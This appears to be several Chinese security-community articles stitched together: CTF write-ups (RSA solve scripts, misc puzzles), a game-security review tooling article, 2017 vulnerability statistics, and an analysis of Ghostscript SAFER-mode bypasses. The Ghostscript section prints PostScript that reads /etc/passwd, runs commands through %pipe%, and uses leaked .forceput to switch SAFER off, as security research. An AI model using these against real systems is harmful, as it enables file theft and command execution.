aes = AES()
print(aes.decrypt(39516020331414594708236881779781078095))
### Rsa?
p q 可以直接分解出来
这个运算的阶应该是$\varphi(n)$的因子
(1, 0)是这个运算的单位元
写个二进制快速运算
直接对密文求e对d的逆就行了
from Crypto.Util.number import *
from gmpy2 import iroot
n = 13390709926509813526471364597371124446888078365567927211781799241724742352679484983709219580483800891886832613684875066109177882219522305348565532970795023
e = 65537
a = 1762039418842677123086894939949574689744108610561557889235294034870342076452734215004689409493802437034960516295735815195656138656970901855976802991519141
D = a * a % n
c = (5404548088049249951619519701935576492239293254135836357417714329205323074367876875480850741613547220698045360461761929952847796420174204143917852624050110,
2110372753170830610718226848526649992911771424441223687775304654852191999130502986109306355582366065947895295520226816523397652918227241733632791793362785)
def xy(p1, p2):
return (p1[0] * p2[0] + D * p1[1] * p2[1]) % n, (p1[0] * p2[1] + p2[0] * p1[1]) % n
def mygetloop(the_x_y, e):
ret = (1, 0)
while e:
if e & 1:
ret = xy(ret, the_x_y)
the_x_y = xy(the_x_y, the_x_y)
e = e >> 1
return ret
x = iroot(n, 2)[0]
if x * x < n:
x += 1
while True:
y_2 = x * x - n
if iroot(y_2, 2)[1]:
y = iroot(y_2, 2)[0]
break
x += 1
p, q = x + y, x - y
assert p * q == n
d = inverse(e, (p - 1) * (q - 1))
print(long_to_bytes(mygetloop(c, d)[1]))
### BigRsa
简单题，gcd n1 n2得因子后RSA即可。
from Crypto.Util.number import *
#rom flag import *
import math
n1 = 103835296409081751860770535514746586815395898427260334325680313648369132661057840680823295512236948953370895568419721331170834557812541468309298819497267746892814583806423027167382825479157951365823085639078738847647634406841331307035593810712914545347201619004253602692127370265833092082543067153606828049061
n2 = 115383198584677147487556014336448310721853841168758012445634182814180314480501828927160071015197089456042472185850893847370481817325868824076245290735749717384769661698895000176441497242371873981353689607711146852891551491168528799814311992471449640014501858763495472267168224015665906627382490565507927272073
e = 65537
#m = bytes_to_long(flag)
##c = pow(m, e, n1)
#c = pow(c, e, n2)
#print("c = %d" % c)
c = 60406168302768860804211220055708551816238816061772464557956985699400782163597251861675967909246187833328847989530950308053492202064477410641014045601986036822451416365957817685047102703301347664879870026582087365822433436251615243854347490600004857861059245403674349457345319269266645006969222744554974358264
sb=math.gcd(n1,n2)
print(isPrime(n2//sb),isPrime(n1//sb))
n2_p=sb
n1_p=sb
n2_q=(n2//sb)
n1_q=(n1//sb)
n2_d=inverse(e,(n2_p-1)*(n2_q-1))
n2_c=pow(c,n2_d,n2)
# output
n1_d=inverse(e,(n1_p-1)*(n1_q-1))
print(long_to_bytes(pow(n2_c,n1_d,n1)))
## MISC
### 签到题
SangFor{md5(28-08-30-07-04-20-02-17-23-01-12-19)}
### 取证
题目比较简单，首先我们可以通过磁盘取证拿到ssh.txt。
而后再命令行中发现提示。说是.git相关。我们通过ssh.txt 解析
证书个人信息拿到邮箱，从而找到github
github中 **APP** 是微信小程序得，里面有串base64解密就是flag了
### 赛博德国人
恩尼格玛机。ftp密码是pdf密码。
最后一个ftp传密文。用网上工具解恩尼格玛
得到
VIERSIEBENFUENFSIEBENVIERACHTFUENFVIERSIEBENBERTADREISECHSSECHSZWEIDREINEUNDREISECHSDREISIEBENDREIZWEIDREINULLDREIFUENFSECHSSECHSSECHSFUENFDREISIEBENDREIFUENFDREISIEBENDREINEUNDREIFUENFSECHSSECHSDREIEINSDREINULLDREIVIERDREIACHTDREIFUENFDREISIEBENDREIEINSSECHSDREISECHSSECHSDREIVIERSECHSDREISECHSSECHSSECHSZWEIDREISIEBENDREINULLDREIDREISIEBENDORA
是德文数字以及字母。直接.decode(“hex”)即可。
### Misc-520
首先连续解包
import os
for i in range(519,0,-1):
os.system('unzip -o {}.zip -d . '.format(str(i)))
这个png用stegslove提了个zip 密码是12345
得到流量包。里面鼠标流量画数字。
前面压缩包中150包得story内容不同
这都被你发现了？
我这故事不错吧，嘻嘻嘻
那就把flag给你吧
oh，不，还有一半藏在了pcap的心里，快去找找吧
左心房右心房，扑通扑通的心，咿呀咿呀的❤
72, 89, 75, 88, 128, 93, 58, 116, 76, 121, 120, 63, 108,
合起来变异凯撒。 | 社区文章 |
# 字节跳动无恒实验室：游戏安全评审的技术进阶之路
##### 译文声明
本文是翻译文章，文章原作者 无恒实验室，文章来源：无恒实验室
原文地址：<https://mp.weixin.qq.com/s/ZIzjIZziM6inUNlr2CKBCg>
译文仅供参考，具体内容表达以及含义原文为准。
## 一、游戏安全评审
### 1.1 游戏安全评审是什么
随着各类游戏在国内和国际越发火热，外挂和打金工作室等黑产业务也愈演愈烈；
阻止外挂和黑产的主要手段，从攻击产生的时间上可以分为：
1. 事先防御：通过游戏安全评审，发现游戏漏洞和可能存在被黑产攻击的问题并反馈给游戏业务方完成修复。
2. 事中防御：通过代码保护、协议加密、内存保护等手段，在游戏Apk上部署防御措施，提升黑产活动的攻击门槛与攻击代价
3. 事后防御：通过外挂云查进行外挂分析和打击，对黑产账户和违规玩家进行账号封禁或其他惩处措施
一个优秀的游戏厂商，会全面发展上述三种技术手段来对抗外挂黑产。在这三者中，事先防御手段，对于游戏业务的代价较低，可以在造成实际损失之前从服务器侧解决漏洞问题。
### 1.2 游戏安全评审可以解决什么问题
一款游戏在开发完成上线测试前，可能存在一些日后导致严重危害的安全漏洞如：协议漏洞、服务器宕机、内存变速、隐私合规等。
游戏安全评审就是为了防止游戏在线上运营阶段因以上问题产生安全事件而进行的工作，旨在提前暴露游戏安全风险，完成漏洞修复，不给外挂黑产以可乘之机。
## 二、游戏安全评审技术演进
## 2.1 协议重建&fuzzing方案
**2.1.1 核心模型**
提到协议安全，大家肯定会首先想到协议fuzzing，这也和我们最初的测试思路一致
由于游戏服务器和客户端一般都采用了特殊的格式进行通讯，并且报文内容和报文外部的封装都进行了复杂的序列化与加密，所以直接向游戏服务器发送大量的fuzz二进制数据流绝大部分会被服务器的网关过滤掉；因此我们需要对游戏协议进行重建。
协议重建即在摆脱游戏操作场景的情况下，对游戏的数据流进行完全模拟和重新封装，构建一个合法的游戏链接，发送经过fuzz字段覆盖的测试协议，通过返回包或者游戏表现来确定是否有安全漏洞。测试流程如图所示：
**2.1.2 登录态与心跳**
游戏业务对于登录态和存活链接有校验，所以我们需要根据游戏校验逻辑的不同，来执行针对性的登录态和心跳模块。
大部分游戏要求的登录态都是唯一的，也就是说，在开启测试工具的同时，原本客户端上的游戏登录态会被挤下线，所以对于测试工具新建立的登录态，我们要保证：
1. 登录态的获取逻辑完全脱离客户端
2. 完整的实现密钥协商流程
3. 按照要求的频率进行心跳包发送（是的，心跳包的频率有时也会影响新建登录态的活性）
虽然登录态、密钥交换、心跳包的维持比较费时费力，但是在这个过程中可以发现很多安全漏洞，例如：不合理的密钥交换甚至固定密钥、固定的登录口令、多登录态等严重问题。
**2.1.3 正确的调用链**
由于游戏业务在通信上有别于常规业务的特殊性：很多特殊的协议及其生效判定只有在特定场景和环境下才会生效，可以理解为只有正确的协议链条，才会得到服务器正常的反馈和数据；于是我们在进行如下改进。
1. 先将游戏客户端挂代理整体运行一遍
2. 记录下游戏正常运行过程中的协议调用链
3. 根据调用链对协议进行重建和自动读取
虽然这个过程较为耗时，但是可以发现很多在游戏里不会触发的隐藏BUG,
这类问题主要是使游戏进程不按照预定的调用链来进行通信，从而产生的多协议组合漏洞。例如在战斗中进行跳关和在商店中开启战斗等；
**2.1.4 游戏自研DSL的处理**
对于重建协议的方案来说，大部分的模块都是通用的，尤其是协议解析和序列化的部分；但是在个别情况下，除了采用常见的protobuf、json等数据系列化格式外，游戏还会使用自研私有DSL协议。
针对自研协议格式的游戏，我们进行了一些研究，发现大部分私有协议格式本根同源，对于将明文数据序列化成二进制流的关键点上的差异不大，于是我们对这些通用的部分进行整合，开发可以通用的序列化与反序列化接口，设置几个可选参数来适应不同的格式，这样就可以适配大部分的私有协议了。
OK，到这里为止，我们就可以对绝大部分接入安全评审的游戏进行协议安全测试了，但是该方案还存在一些问题，看到这里，相信有的同学已经发现了这个方案中的一些不足。
**2.1.5 方案局限性**
根据评审工作的发展，发现本方案存在的几个问题：
不能直接在游戏中看到漏洞的展示效果，在我们发送一条构造了特殊字段的测试协议后，预期得到服务器负面（否定）的反馈，但是不同的游戏设计的反馈不同，有的游戏不反馈，有的游戏只反馈一个错误码，这对于判断测试字段是否有效（有效是指服务器没有拒绝我的错误字段而将他直接执行了，比如我告诉服务器，我出生了，我满级了）是一个很大的障碍（如下图中展示）
协议接入的时间较久，需要对协议链条的各类细节掌握透彻，才可以将工具完美的适配游戏，而对于一些急于上线的游戏，这个评审周期可能会影响到发行进度；
对游戏更新适配性较弱，在我们对一款游戏完成首次测试后，游戏的登录态、登录流程、密钥交换的逻辑会有很大的改变，而协议重建又是个费时的操作，所以这会影响后续的增量测试效率；
这些问题都是由于本方案的局限性导致，那么，我们就要考虑在后续的方案中进行升级；
### 2.2 基于中间人劫持的工具方案
**2.2.1 核心模型**
我们在上一段提到了，新方案主要是为了提升漏洞发现的效率，所以我们首先需要解决的问题是不能直观的看到漏洞在游戏中的表现效果。为了达到这个目的，就需要一个可以不脱离客户端的测试方案：将数据流的起点和终点定位到客户端和服务器，而测试工具通过中间人的思想，在信道中进行测试操作，不关心客户端上的实现和协议链。
设计的大体模型如下：
为了实现tcp中间人的操作，我们调研了使用 iptables&pfctl
进行端口转发和使用代理进行流量转发等几种方式，经过一段时间的摸索和验证，最终采用了socks5代理服务器的方式来完成数据流的转发和中间人操作；
选择socks5代理的原因是它很简单，由于其不关心协议种类，只是简单的进行数据包的传递，所以socks5速度较快，不会影响到游戏的正常运行，另外socks5代理对测试客户端的环境没有特殊要求，相比端口转发的方式更加轻便和快捷。socks5代理方式的工作流程示意如下：
我们使用了一个socks5的代理客户端，并在测试端上搭建一个代理服务器，测试逻辑主要运行在代理服务器中；预期本次设计的方案，其核心架构图设计如下：
**2.2.2 数据修改与重发**
现在我们已经可以通过新的工具方案用代理的模式正常的进行游戏了，并且还可以在工具中看到游戏的上下行数据流，但是为了达到测试目的，我们还需要将数据管道中的数据拿出来，经过修改后再写回数据管道，这里的解析和封装模块与上一个方案一致，不再详细展开；
我们通过对本地测试文件进行改写，来控制测试的流程和目标，现在我们的新方案已经初步成型了：
**2.2.3 协议劫持与主动发起**
但是我们目前还有一些问题存在：
中间人方案能进行测试的协议都是由游戏客户端发起的，例如购买商品，所以无法绕过客户端的限制比如金币不足时无法发起购买，但实际上游戏服务器中可能存在金币不足购买不扣费的漏洞；简而言之，就是只依赖中间人方案测试覆盖面不够：虽然可以覆盖到全部的游戏协议，但是不能覆盖游戏在特殊情况下存在的问题；
我们希望，可以在任何情况下都可以主动的发起对一条协议的测试，从而绕过客户端上的逻辑限制，深度挖掘游戏服务器中的问题（还是那个原则，客户端不可信）。这里就有一个很巧妙的办法：协议劫持。
而劫持的具体做法是：寻找一条简单的，不会受到客户端逻辑限制的协议，比如游戏里的动作、表情等。因为这类协议对于游戏安全来说是冗余的，安全可靠的。
使用中间人工具进行测试的工作流程如图所示
**2.2.4 方案局限性**
基于中间人的测试方案可以在游戏客户端上直接看到bug的展示效果，这很大程度上提升了漏洞的发现效率；但相对于上一代方案来说，还是有两点问题没有解决：
1. 协议接入时间较久，因为协议包的解析还涉及到粘包和拆包等问题，较为复杂， 不仅需要对数据层面进行解析，还要对协议层面和数据流层面进行解析。工作量较大。
2. 对于新游戏的二次适配消耗较高，在进行增量测试时，游戏往往已经根据业务需求和首轮安全评估结果修改了加密和协议方案，该方案很可能和当前接入的协议流程不一致，所以需要对协议流程进行重新的解析，较为耗时。
以上问题的产生，都是由于协议解析类方案的局限性而导致的，想要进一步发展，就需要从根本上抛弃原有的思路。
### 2.3 基于客户端注入的劫持和伪造工具（GameDancer）
为了解决以往方案中的不足，我们准备对测试方案进行重新设计，结合以往的测试经验，重新设计的方案的目标是：
1、 **不在数据流层面进行操作** ，较少的在协议层面进行操作，直接操作可以看到的明文数据内容。
2、 **测试协议的组件过程尽量在加解密之前** ，因为加解密方案是多变的、难以固定适配的。
3、 **可以直接在客户端上看到漏洞的展示效果** ，不需要脱机运行。
4、 **可以方便的主动发起测试协议** ，用非劫持的方法来向游戏服务器发起测试协议，并且不需要对游戏本身的包序号进行管理。
5、 **测试工具在前端展示完整解析的协议格式和数据** ，进行测试数据推荐和fuzz自动覆盖。
**2.3.1 核心模型**
为了达到以上的设计目标，我们放弃了原有的协议方案，通过代码注入的方式来开发一款新的游戏安全漏洞挖掘工具——GameDancer。
设计的主要思路是通过hook游戏逻辑中协议交互的接口，拿到游戏的交互明文数据，对数据进行解析后，通过主动调用游戏接口，将测试协议通过游戏客户端发往游戏服务器。
说的简单一点，对于这套测试方案来讲，游戏客户端就是一个给我们工具提供协议解析和协议发送服务的模块，将这部分复杂的工作通过游戏本身来自动化的完成。其整体的设计模型如下：
**2.3.2 前端UI**
工具前端是与安全评审人员主要的交互场景，也是决定使用效率的地方。为了提高漏洞的发现效率，我们需要完成以下目标：
1. 针对不同类型的协议字段进行可能导致BUG的字段值推荐，减少评估人员填入数据的环节
2. 可以对某条或者某几条协议进行快速自动fuzz的高级发送功能，一键覆盖可能的问题
3. 针对测试环境的不同，提供PC版和网页版前端界面，PC截图如下：
前端主要和核心框架中的hook引擎进行数据交互，数据交互流程较为简洁；
**2.3.3 加载器和hook引擎**
加载模块主要提供注入游戏的功能，需要将包含游戏脚本hook引擎功能的库文件加载到游戏同一个进程和命名空间下，使我们自定义的游戏测试逻辑可以注入到游戏上下文当中，从而对游戏原生逻辑进行修改和操控；
加载器有两种技术选型，一种是针对root环境，使用附加Zygote的方式来完成注入；另一种是针对非root环境使用虚拟多开技术进行注入，root模式对测试终端的环境有一定要求，但是其适配的游戏范围广；非root模式不额外需要root环境，但是对于有些游戏和机型需要特殊的适配。
注入Hook引擎的流程如下：
hook引擎中包含了针对各类游戏引擎及其技术选型的hook支持，可以对游戏脚本进行注入和替换，是该套技术方案中的重点部分。
以Unity3d引擎mono选型为例，主要方案是借助libmono.so本身的接口和Mono的JIT机制；
1. 首先加载我们自己逻辑的模块，这里是我们用C#开发的dll文件。
2. 通过mono_class_get_methods 定位到我们要替换的目标方法、替换方法，以及代替原方法的空指针。
3. 接下来借助libmono.so 的mono_compile_method 进行JIT编译，得到native code 返回地址。
4. 完成方法替换，即hook了目标逻辑。
**2.3.4 逻辑层**
逻辑层是控制游戏运行逻辑和游戏协议管理的核心，在逻辑层我们需要完成以下预定功能：
1. 版本适配
2. 因为游戏开发商很多，其所使用的Unity的.Net FrameWork版本也不同，高版本的.NET特性无法在低版本运行。
3. 由于需要引入游戏的逻辑，所以想要解析游戏的脚本作为动态库，那么需要适当的版本来支持解析。
1. 协议解析&数据上报
2. 因为这里hook的游戏接口不同，需要根据不同的情况，将数据解析成明文数据，一般是针对proto和json的解析
3. 数据上报即将解析完成的数据以Json的形式传递给UI前端，这里最大的问题在于Json的构建，由于游戏Unity版本的问题，有的.net版本不支持通用的Json库，所以需要根据游戏的运行环境来选择对应的Json代码
4. 热更脚本交互（Lua）
5. 除了在C#层进行hook之外，还需要对游戏的热更脚本进行操作，因为一部分游戏的主要逻辑存在于热更脚本中，例如C#与lua的交互流程如下
1. 线程监控，持续注入；在一些自定义脚本引擎中，一段时间后会清空注册过的脚本方法，所以需要利用MonoBehaviour等自动创建实例按帧调用的方式来监控脚本方法的注册情况。
2. 回调收集；
3. 由于游戏的协议设计机制不同，有的游戏在收到返回包后根据返回包的内容进行页面渲染，有的游戏需要通过发包时的回调来完成对应的状态改变，所以需要对发包时的回调进行收集并保存。
4. 需要额外注意公开枚举器IEnumerable与yeild的调用流程，这里的流程不可打断，不可单独调用。
**2.3.5 未来展望**
GameDancer的开发，并不只是提供了一款快捷、高效游戏安全评审工具，更重要的，它提供了一个游戏注入平台，根据一定的文档指引，相关人员可以开发自己的游戏插件来控制游戏的逻辑走向、观察游戏实时性能数据、了解游戏BUG产生的详细情况；这些也是我们对工具未来发展的期望；
### 2.4 小结
各个方案虽然是一代代的演进过程，但是旧方案并不会被淘汰，每一个技术方案在漏洞挖掘的过程中都有其独特的用处：基于客户端注入的方案虽然高效。但是无法发现游戏加密方案和登录流程在设计上的安全问题，这类问题仍然需要通过协议重建来发现。
在安全评审工作中，我们会采用多类型的工具对游戏进行多角度的安全评估，保证在评审覆盖的过程中不留遗漏。
## 三、结束语
“工欲善其事必先利其器”，如你所见，通过技术方案的不断演进，游戏安全漏洞的挖掘效率和漏洞质量得到了提升；从最开始为了快速开展安全评估工作的协议重建方案，到后来可以直观看到漏洞效果的中间人方案，再到GameDancer方案，每一次的方案升级都是为了更好的解决游戏安全评审业务眼下所存在的问题和局限。
游戏安全评审是一项繁琐的工作，漏洞的种类及其产生条件、原因不一而足，想要尽可能全面的覆盖一款游戏中的安全问题，需要评审人员耐心与细致的检查，更加需要技术能力和高效工具的支持。在游戏安全评审技术方案的进阶之路上，“追求极致”是激励我们不断前进的动力。
如果你也想参与到我们的游戏安全工作建设中来，体会在各类游戏中发现漏洞的乐趣、享受和黑产外挂斗的其乐无穷，欢迎加入无恒实验室，简历投递：https://job.toutiao.com/s/ee1qpHt
；或者通过二维码直接投递： | 社区文章 |
# 2017年漏洞态势 — 回顾及分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
漏洞是评判网络安全情况的一个重要指标，360CERT对2017年披露的漏洞进行统计分析。
截止到12月下旬，2017年漏洞一共披露了15120枚，其中低危漏洞1576枚，中危9138枚，高危4406枚。覆盖1444家厂商或组织近4千种产品，累计影响多达13多万个版本。
对漏洞种类进行归纳统计，其中Buffer
Errors所占比例高达16.66%，缓冲区相关漏洞存在于各种操作系统，应用程序中；可以导致拒绝服务，权限提升，代码执行等。不正确得访问控制占到9.88%，攻击者可以通过该类型漏洞实现权限提升，读取敏感信息，代码执行，逃避验证等。之后跨站脚本攻击（XSS），信息泄露，输入验证，SQL
注入等各占9.41%，9.09%，6.31%和2.66%。
同时对漏洞效果进行归纳统计，作为补充：
将时间拉长，看一下近十年的漏洞情况：
可以看到，每年的漏洞趋势大致相同，在1，4，7，10月会有高峰。难道是因为安全研究人员为了季度和年度的KPI导致的？
2017年披露的漏洞数量较往年有明显上升的趋势，2017年网络安全形势严峻，漏洞披露数量环比上升120%，将数据细化：
对季度数据进行统计，2014年第4季度有一个高峰，此外之前的三年趋势都是相对平稳的。
近几年，世界范围内都加大了网络安全投入，安全人员基数增多，伴随着的漏洞披露增多，这是必然的。
2013年到2017年，高危漏洞所占比例分别为33.5%，24.2%，37.1%，38.3%和29.4%。2014年漏洞披露数量增多，集中在5-6分段，而2017年，4-8分数段漏洞数量整体拉升，相比之下，高危漏洞增长并不明显，占比有所下滑。从增长分布来看，有价值的漏洞还是比较难挖掘的。2017年漏洞数量上升，需要警惕，但也不用过度恐慌。
漏洞不断挖掘，曝光和修复可以很大程度上提升系统的安全性，但是如果不能及时修复，会失去攻防大战的先机，处于被动的地位。2018年1月份漏洞披露数量已达到历年新高，我们相信2018年的网络安全形势依旧严峻。 | 社区文章 |
## 前言
在Tokyo Western
CTF2019之前，我对postscript处于基本0知识的状态。赛后，为了看懂官方给的poc，我大概花了一周的时间对着九百多页的官方文档学习了一下这门语言（它有关的学习资料太少了Orz），以及围绕它SAFER模式展开的攻防博弈。即使是现在，我对于postscript仍处于懵懂的愚昧状态。因此，如果下文中有任何不对的地方，希望大家理解并指出，感谢大佬们给与宝贵经验。
## postscript语言简介
postscript是Adobe提出的一种打印机语言，ghostscript可以看做是postscript的一个解释器，它实现了postscript的语言标准，同时附加了一些其独有的操作指令。postscript语法最大的特点就是逆波兰表示法，也就是后缀表示。对于最常见的`1
add 1`的中缀表达来说，postscript中的表达就是`1 1
add`。postscript中变量的定义是以`/`开头的，你可以把它看做php里面的`$`。比如定义一个变量a，`/a 1
def`。postscript用`{}`来包裹一个过程，类似于函数，比如`/inc {1 1 add ==}
def`。postscript采用字典栈的概念来保存各种系统自带的变量和操作符（systemdict）以及用户自定义的操作符和变量（userdict），因为postscript会根据栈的顺序在字典中寻找变量，因此字典栈相当于赋予了变量作用域的概念。
## postscript文件操作能力
虽说postscript只是一种打印机语言，但是它在定义的时候就具备了比较强大的文件操作能力。关于postscript的文件操作符，在Adobe官方的文档中就有一页多的相关描述。
利用file和readstring命令，我们可以轻松的完成对于任意文件的读取操作。
(/etc/passwd) (r) file 65536 string readstring == ==
利用filenameforall可以轻松完成列目录的操作
(/etc/*) {==} 65536 string filenameforall
同时，ghostscript还支持在文件操作中采用pipe的方式来进程IO的操作，也就是我们可以利用file命令来实现任意的命令执行，当然这只在Unix系统中才生效。
(%pipe%id) (r) file 65536 string readstring == ==
## ghostscript SAFER模式
基于以上强大的文件操作能力，ghostscript采用了SAFER模式的方式来增加对文件系统的访问控制权限，采用`-dSAFER`的形式启动即可开启防护。
在imagemagick的delegates.xml中我们可以看到对于ghostscript的调用都是采用SAFER模式来调用的。
<delegate xmlns="" decode="ps" encode="eps" mode="bi" command=""gs" -sstdout=%%stderr -dQUIET -dSAFER -dBATCH -dNOPAUSE -dNOPROMPT -dMaxBitmap=500000000 -dAlignToPixels=0 -dGridFitTT=2 "-sDEVICE=eps2write" "-sOutputFile=%o" "-f%i""/>
在这个[patch](https://git.ghostscript.com/?p=ghostpdl.git;a=commitdiff;h=79a06b45e784e6839b2b2129cd2620ea606254e1;hp=9883f2a931407503778bb94948b47480eff858b2)发布之前，我们可以看看ghostscript是采用什么方式来实现SAFER模式的。
我们可以在这个[repo](https://github.com/ArtifexSoftware/ghostpdl-downloads)中下载到相关的release版本。
SAFER模式在`Resource/Init/gs_init.ps`中定义
核心的.locksafe方法主要做的事情是限制了userparams参数以及device的参数。其中的.locksafe_userparams方法严格限制了文件读写以及控制权限，同时通过LockFilePermissions这个值使得三个权限属性不能再被修改。
一段时间内，这种SAFER模式使得ghostscript变得安全起来，不会被任意的进行文件操作。
这个时候，我们再回头看上文提到说这是在这个[patch](https://git.ghostscript.com/?p=ghostpdl.git;a=commitdiff;h=79a06b45e784e6839b2b2129cd2620ea606254e1;hp=9883f2a931407503778bb94948b47480eff858b2)之前的SAFER模式，现在去翻阅ghostscript文档中对于`-dSAFER`的描述，我们可以发现这是一种完全崭新的SAFER模式，而我们刚刚看到的则变成了`-dOLDSAFER`
我把这看作是ghotscript前世今生的分界点，而导致其重新设计自己安全模式的是来自Google Project Zero的安全研究人员Tavis
Ormandy。（太强了，顶不住啊Orz）
## Taviso的SAFER bypass之旅
我在 <https://bugs.chromium.org/> 上一共找到了六个Taviso提交的关于ghostscript的issue。分别是
<https://bugs.chromium.org/p/project-zero/issues/detail?id=1640>
<https://bugs.chromium.org/p/project-zero/issues/detail?id=1675>
<https://bugs.chromium.org/p/project-zero/issues/detail?id=1682>
<https://bugs.chromium.org/p/project-zero/issues/detail?id=1690>
<https://bugs.chromium.org/p/project-zero/issues/detail?id=1696>
<https://bugs.chromium.org/p/project-zero/issues/detail?id=1729>
通过这六个issue，我们可以慢慢了解ghostscript为何需要重新设计一种SAFER模式。
在#1640中，Taviso主要总结了他之前发现的几个ghostscript的小问题，这些bypass主要是由于SAFER设计时由于postscript定义的自带指令太多而考虑不周引起的绕过，不是本文的重点内容，这在这篇文章
<https://paper.seebug.org/68/>
中也可以看到相关的内容。（另外和内存破坏相关的漏洞由于我还只是一只弱小的web狗，也不再这里展开去分析了Orz）
从#1675开始，Taviso给我们带来一个崭新的bypass
SAFER的思路。这和一个命令息息相关，也就是forceput命令。forceput是一个在postscript官方文档中找不到的，ghostscript设计的命令。它具有和put一样的效果就是个字典中的某项赋值，却拥有远超put的能力，那就是无视权限。官方的定义如下。
那么如果我们拥有了forceput，我们如何绕过SAFER呢？？？不用绕过，我们可以完全禁止SAFER。
从上文对.locksafe的分析出发，我们只要对应的将userparams的参数还原，即可逃出SAFER。
systemdict /SAFER false .forceput
userparams /LockFilePermissions false .forceput
userparams /PermitFileControl [(*)] .forceput
userparams /PermitFileWriting [(*)] .forceput
userparams /PermitFileReading [(*)] .forceput
save restore
因为forceput及其强大，它本来并不会暴露给用户来使用这个命令。然而，虽然我们无法直接地调用forceput命令，但是在ghostscript内置的命令中，存在有很多的过程包含了forceput命令。
而这也是#1675中提到的：一个过程的定义，在字典栈中是以一个数组的形式存放的，我们可以通过pop弹出栈顶元素的方式，获得过程中的某个元素，如果forceput被包含在了一个我们可以访问的命令中时，我们就可以用这种方式来泄露它。
当然，ghostscript的开发人员不可能蠢到完全想不到这样的场景，所以通常他们会采用executeonly的方式来保护敏感的操作。executeonly相当于标志位的感觉，使得被其标志的代码块只能被执行，不能被读写。
然后Taviso想到了一种绕过这种防御的方法，这里需要引入两个新的字典，errordict和$error。errordict是用来存放错误处理函数的字典，也就是对各种exception的处理方法的集合。当错误发生时，ghostscript会将错误的相关信息放置在$error字典中，其中ostack中存放有操作命令的栈，也就是一个过程在执行时，会把其中的操作在栈上展开，而当其中发生了错误或者使用了stop时，就会在此处抛出error，同时将整个操作栈复制到$error的ostack中，由errordict中的对应handle去处理这个错误。
针对这种攻击，ghostscript提出了patch的手段
<http://git.ghostscript.com/?p=ghostpdl.git;a=commitdiff;h=fb713b3818b>
。不再允许用户自己定义error handle到errordict中，但是这个修复并没有禁止用户修改errordict中原生的错误处理过程。
我们可以通过以下手段来dump各种字典。
errordict {exch ==only ( ) print ===} forall quit
由于ghostscript允许修改原生的这些error
handle，因此我们可以通过修改这些error然后在存在forceinput的过程中精准触发error的方法来完成对forceput的泄漏。
这也是Taviso接下来的几个issue中提到的主要内容。
接下来，我通过对Tokyo Western在今年ctf中对于CVE-2019-14811
exp的编写为例，来具体解释上述提到的攻击方法。原始的poc可以参考<https://gist.github.com/hhc0null/82bf2e57ac93c1a48115a1b4afcde706>
我把不需要的部分去除，只留下比较精简的部分放在了这里：<https://gist.github.com/rebirthwyw/d401fc375620d4497cc993045736a168>
，接下来也会以这个poc为依据来解释。
## CVE-2019-14811 分析
首先我们确定在.pdf_hook_DSC_Creator存在有forceput指令。
由于.pdf_hook_DSC_Creator命令也无法直接被我们使用，因此需要从.pdfdsc中先提取出.pdf_hook_DSC_Creator。
{}包裹的作为一个元素，所以可以发现.pdf_hook_DSC_Creator是第25个元素，因为过程在栈上是作为数组展开的，因此只要`systemdict
/.pdfdsc get 24 get`即获得了.pdf_hook_DSC_Creator的一个引用。
关注.pdf_hook_DSC_Creator的逻辑，当你调用`null .pdf_hook_DSC_Creator`时，会在`/Creator
.knownget`处发生第一次`/typecheck`的error，然后在`(PScript5.dll)
search`处发生第二次`/typecheck`的error。具体的说，可以通过修改errordict对于`/typecheck`的处理来判断。
比如这样的方法
/typecheckcount 0 def
errordict /typecheck {
/typecheckcount typecheckcount 1 add def
typecheckcount 1 eq {
==
} if
typecheckcount 2 eq {
== ==
} if
} put
可以看到`/typecheck`的error处理已经被改变。
在`(PScript5.dll) search`处发生第二次`/typecheck`的error时，我们可以看到栈上的内容是这样的
{(PScript5.dll) --search-- {--pop-- --pop-- systemdict /resourcestatus --dup-- {--dup-- /FontType --eq-- 2 --index-- 32 --eq-- --and-- {--pop-- --pop-- false} {--resourcestatus--} --ifelse--} --bind-- --.makeoperator-- --.forceput-- systemdict /.pdf_hooked_DSC_Creator true --.forceput--} --executeonly-- --if-- --pop--}
首先，上述的内容是栈上的第二部分内容（第二个==的输出）。
{--pop-- --pop-- systemdict /resourcestatus --dup-- {--dup-- /FontType --eq-- 2 --index-- 32 --eq-- --and-- {--pop-- --pop-- false} {--resourcestatus--} --ifelse--} --bind-- --.makeoperator-- --.forceput-- systemdict /.pdf_hooked_DSC_Creator true --.forceput--}
这是第二部分内容中的第三段，｛｝中的内容是看做一部分的，因此`--.forceput--`是这段内容的第九个。
所以我们可以通过`1 index 2 get 8 get`来获得栈上的`--.forceput--`。
poc的第一部分获取forceput到此结束，第二部分在前面已经提过了就是重新设置userparams的文件访问控制参数。
最后一部分就是命令执行的部分，这在前文也已经提过了，就是采用了file可以使用pipe的方式来完成的。
通过CVE-2019-14811，我们可以明白，只要有某一个分支中存在没有被设置为executeonly的forceput命令，我们就可以通过触发errordict中存在的error
handle来泄漏forceput命令。
正因如此，我们通过Taviso的issue可以发现，ghostscript官方提供的patch多次被他绕过，无法完全根除这样的问题。
而这也促使ghostscript官方完全更新了自己的SAFER模式，通过这种方式来进行防御。
## 现在的ghostscript
打开最新版本的ghostscript的源码，我们可以发现，如今的SAFER模式采用了以下方式来防御（代码在`Resource/Init/gs_init.ps`）
如今采用`/.lockfileaccess`来设置SAFER模式，现在的`.addcontrolpath`直接将访问控制权限中的路径设置在了全局的结构体中，不再采用userparams来是设置访问控制参数。同时，`.activatepathcontrol`起到了锁的作用，只要它被启用后，再采用`.addcontrolpath`就会直接退出解释器。
我们可以在源码中轻松地看到`addcontrolpath`改动了结构体的一个变量的值。
因此，除非能修改到这个标志位，我们无法再对文件的访问控制再做任何的修改。
如果要验证你当前的ghostscript版本是否已经启用了新的SAFER（新版本的ghostscript默认就会启用SAFER模式），你只需要尝试调用`.addcontrolpath`命令即可。
[ (/tmp) ] {/PermitFileWriting exch .addcontrolpath} forall
貌似在当前的ubuntu和debian中都还没有更新ghostscript的这个新的SAFER，我在docker中拉去最新的ubuntu和debian都未成功触发直接退出解释器的情形。
## imagemagick解析
Tokyo Western的ctf中采用了官网推荐方式来实现对ps解释器的限制。
众所周知，imagemagick采用读取文件头的方式来判断文件采用什么方式去解析这个文件，如果查看delegates.xml，的确会发现对应采用ps解释器的文件类型都被禁止了。但是如果你去看看
<https://imagemagick.org/script/formats.php>
中对于格式的详细说明，就会发现还有很多漏网之鱼。通过`identify -list format`命令可以快速查找所有的支持格式。
## 后记
